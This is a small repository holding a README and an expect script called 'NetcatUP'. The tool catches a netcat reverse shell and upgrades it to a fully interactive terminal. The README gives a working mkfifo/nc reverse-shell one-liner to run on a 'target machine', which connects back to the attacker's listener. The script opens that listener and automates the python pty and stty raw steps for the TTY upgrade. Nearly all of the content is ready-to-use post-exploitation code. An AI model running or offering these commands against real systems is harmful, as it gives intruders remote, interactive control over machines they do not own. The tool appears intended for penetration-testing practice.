├── README.md └── netcatup.sh /README.md: -------------------------------------------------------------------------------- 1 | # NetcatUP 2 | 3 | 4 | run `./netcatup.sh port` 5 | run `rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc targetip port >/tmp/f` on the target machine 6 | You should now have a fully interactive shell with bash history and tab completion 7 | 8 | ### credits: 9 | * https://blog.ropnop.com/upgrading-simple-shells-to-fully-interactive-ttys/ 10 | 11 | ### todo: 12 | * add bind support 13 | -------------------------------------------------------------------------------- /netcatup.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/expect 2 | 3 | lassign $argv arg1 arg2 arg3 4 | 5 | log_user 0 6 | set timeout -1 7 | 8 | spawn /bin/bash 9 | send "nc -lvp $arg1\n" 10 | expect "Connection from" 11 | send "python -c \'import pty; pty.spawn(\"/bin/bash\")\'\n" 12 | sleep 0.5 13 | send \x1A 14 | send "stty raw -echo\n" 15 | send "fg\n" 16 | send "reset\n" 17 | send "export SHELL=bash\n" 18 | send "export TERM=xterm-256color\n" 19 | send "stty rows `tput lines` columns `tput cols`\n" 20 | send "clear\n" 21 | interact 22 | send "stty -raw echo\n" 23 | send "exit\n" 24 | exit 25 | 26 | --------------------------------------------------------------------------------